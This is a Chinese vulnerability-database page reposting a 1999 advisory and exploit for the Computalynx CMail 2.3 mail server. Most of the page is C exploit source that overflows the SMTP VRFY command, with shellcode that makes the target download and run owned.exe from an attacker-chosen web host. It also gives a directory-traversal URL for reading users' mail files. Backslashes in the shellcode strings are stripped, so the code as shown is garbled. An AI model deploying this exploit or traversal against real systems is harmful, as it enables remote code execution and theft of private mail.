Computalynx CMail 2.3 – Web File Access

Computalynx CMail 2.3 – Web File Access

漏洞ID 1053395 漏洞类型
发布时间 1999-05-25 更新时间 1999-05-25
图片[1]-Computalynx CMail 2.3 – Web File Access-安全小百科CVE编号 N/A
图片[2]-Computalynx CMail 2.3 – Web File Access-安全小百科CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/19224
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/281/info

A vulnerability in Computalynx's CMail allows remote malicious users to steal local files.

Compulynx's CMail is a Win32 mail server program. One of its features is allowing users to access their email with a web browser via a built-in web server.

The web server fails to check whether requested files fall outside its document tree (by using ".." in the URL). Thus attackers can retrieve files in the same drives as that on which the software resides if they know or can get it's filename.

A number of buffer overflows in the processing of SMTP and POP commands also exist. 

http://www.example.com:8002/../spool/username/mail.txt

the buffer overflow vulnerability 
*/

#define UNIX

#ifndef UNIX
 #include <stdio.h>
 #include <fcntl.h>
 #include <winsock.h>
 #include <io.h>
 #define CLOSE _close
 #define SLEEP Sleep

#else
 #include <stdio.h>
 #include <unistd.h>
 #include <fcntl.h>
 #include <netdb.h>
 #include <netinet/in.h>
 #include <sys/socket.h>
 #include <arpa/inet.h>
 #define CLOSE close
 #define SLEEP sleep
#endif
   
/*
   CMail Exploit by _mcp_ <[email protected]>
   Sp3 return address and win32 porting by acpizer <[email protected]>
*/


const unsigned long OFFSET = 635;
const unsigned long LENGTH = 650;
const unsigned long CODEOFFSET = 11;
  
char code[] =
"xEBx53xEBx20x5BxFCx33xC9xB1x82x8BxF3x80x2Bx1"
"x43xE2xFAx8BxFBxE8xE9xFFxFFxFFxE8xE4xFFxFFxFF"
"xEBx37x46x58xFFxE0x33xDBxB3x5BxC1xE3x10x66xBB"
"x18x79x56xFFx13x8BxE8x46x33xC0x3Ax6x75xF9x46"
"x83xC0x1x3Ax6x74xDDx56x55x33xDBxB3x5BxC1xE3"
"x10x66xBBx44x79xFFx13xABxEBxDFxEBx4Fx33xC9x66"
"x49xC1xC1x2x51x33xC0x51x50xFFx57xE8x8BxE8x33"
"xC9x51x51x51x51x51xFFx57xF4x33xC9x51x51x51x51"
"x56x50xFFx57xF8x59x57x51x55x50xFFx57xFCx83xC6"
"x7x33xC9x51x56xFFx57xDCxFFx37x55x50x8BxE8xFF"
"x57xE0x55xFFx57xE4x33xC9x51x56xFFx57xECxFFx57"
"xF0xE8x59xFFxFFxFFx4Cx46x53x4Fx46x4Dx34x33x1"
"x60x6Dx64x73x66x62x75x1x60x6Dx78x73x6Ax75x66"
"x1x60x6Dx64x6Dx70x74x66x1x48x6Dx70x63x62x6D"
"x42x6Dx6Dx70x64x1x58x6Ax6Fx46x79x66x64x1x46"
"x79x6Ax75x51x73x70x64x66x74x74x1x2x58x4Ax4F"
"x4Ax4Fx46x55x1x4Ax6Fx75x66x73x6Fx66x75x50x71"
"x66x6Fx42x1x4Ax6Fx75x66x73x6Fx66x75x50x71x66"
"x6Fx56x73x6Dx42x1x4Ax6Fx75x66x73x6Fx66x75x53"
"x66x62x65x47x6Ax6Dx66x1x2x69x75x75x71x3Bx30"
"x30x00";

    /*This is the encrypted /~pw/owned.exe we paste at the end */
char dir[] =
"x30x7fx71x78x30x70x78x6fx66x65x2Fx66x79x66x1";

/*

   Below is:

   add ecx, 10
   jmp ecx
  
   We use this to transfer to our code that we store before the return address on
our overflow buffer, We have to do this because there isn't near enough room
behind the return address to include the code.  If we weren't lucky enough to have
a register pointing virtually right to our code we could include a routine that
searches memory for specific dword in a specific direction relative to a
register's value then transfers control to our code located there.  The code can
also be easyly snuck in on another buffer by doing this.

*/


char controlcode[] =
"x83xc1x0AxFFxE1";

  

unsigned int getip(char *hostname)
  {
  struct hostent *hostinfo;
  unsigned int binip;

  hostinfo = gethostbyname(hostname);

  if(!hostinfo)
    {
      printf("cant find: %sn",hostname);
      exit(0);
    }
#ifndef UNIX
  memcpy((char  *)&binip, hostinfo -> h_addr, hostinfo -> h_length);
#else
  bcopy(hostinfo -> h_addr, (char  *)&binip, hostinfo -> h_length);
#endif
  return(binip);
  }

  
int usages(char *fname)
{
      printf("Remote Buffer Overflow exploit v1.2 by _mcp_ <[email protected]>.n");
      printf("Win32 Porting and nt sp3 address By Acpizer <[email protected]>n");
      printf("Usages: n");
      printf("%s <target host> <www site> <return address>n", fname);
      printf("win98:n");
      printf("        <return address> = 0xBFF79243n");
      printf("NT SP3:n");
      printf("        <return address> = 0x77E53FC7n");
      printf("NT SP4:n");
      printf("        <return address> = 0x77E9A3A4n");
      printf("Will make <target host> running CSMMail download, save, andn");
      printf("execute http://<www site>/~pw/owned.exen");
  
exit(0);

}


main (int argc, char *argv[])
{
  int sock,targethost,sinlen;
  struct sockaddr_in sin;
  static unsigned char buffer[20000];
  unsigned char *ptr,*ptr2;
  unsigned long ret_addr;
  int len,x = 1;
  unsigned long rw_mem;
  
     
#ifndef UNIX
  WORD wVersionRequested;
  WSADATA wsaData;
  int err;  
  
  wVersionRequested = MAKEWORD( 2, 2 );
  err = WSAStartup( wVersionRequested, &wsaData );
  if (err != 0) exit(1);
#endif  
  if (argc < 4) usages(argv[0]);

  
  targethost = getip(argv[1]);
 

   len = strlen(argv[2]);
    if (len > 60)
     {
       printf("Bad http format!n");
       usages(argv[0]);
     }
      
   ptr = argv[2];
   while (x <= len)
      {
        x++;
        (*ptr)++;           /*Encrypt the http ip for later parsing */
        ptr++;
      } 
 
  if( (sscanf(argv[3],"0x%x",(unsigned long *) &ret_addr)) == 0)
    {
      printf("Input error, the return address has incorrect formatn");
      exit(0);
    }
  
  
  sock = socket(AF_INET,SOCK_STREAM,0);
  
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = targethost;
  sin.sin_port = htons(25);
  sinlen = sizeof(sin);

  
  printf("Starting to create the eggn");
  ptr = (char *)&buffer;
  strcpy(ptr,"VRFY ");
  ptr+=5;
  
  memset((void *)ptr, 0x90, 7000);
  ptr2=ptr;

  ptr2+=OFFSET;
  memcpy ((void *) ptr2,(void *)&ret_addr, 4);
  ptr2+=8;
  /* Put the code on the stack that transfers control to our code */
  memcpy((void *) ptr2, (void *)&controlcode, (sizeof(controlcode)-1) );

  ptr2=ptr;
  ptr2+=LENGTH;
  (*ptr2)=0x00;
  

  ptr+=CODEOFFSET;
  memcpy((void *) ptr,(void *)&code,strlen(code));
 

  (char *) ptr2 = strstr(ptr,"xb1");
  if (ptr2 == NULL)
     {
       printf("Bad shell coden");
       exit(0);
     }
  ptr2++;
  (*ptr2)+= len + ( sizeof(dir) );
      
   (char *) ptr2 = strstr(ptr,"x83xc6");
     if (ptr2 == NULL)
      {
        printf("Bad shell coden");
        exit(0);
  
      }
  
  ptr2+= 2;

  (*ptr2)+= len + 8;
  
  ptr+=strlen(code);
  memcpy((void *) ptr, (void *) argv[2], len);   /*Parse in the http
  site's info */
  ptr+=len;
  memcpy((void *) ptr,(void*) &dir, (sizeof(dir)-1) );
  
  printf("Made the eggn");
  
    if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)
     {
       perror("error:");
       exit(0);
     }
    printf("Connected.n");
  
#ifndef UNIX   
        send(sock, (char *)&buffer, strlen((char *)&buffer), 0);
        send(sock,"rn",2,0);
#else
    write(sock, &buffer, strlen((char *)&buffer) ); /* strlen((char
*)&buffer */
    write(sock,"rn",2);
#endif
    SLEEP(1);
    printf("Sent the eggn");
#ifndef UNIX
  WSACleanup();
#endif
    CLOSE(sock);
   exit(1);
}

相关推荐: NT IMail LDAP Buffer Overflow DoS Vulnerability

NT IMail LDAP Buffer Overflow DoS Vulnerability 漏洞ID 1104836 漏洞类型 Boundary Condition Error 发布时间 1999-03-01 更新时间 1999-03-01 CVE编号 N…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享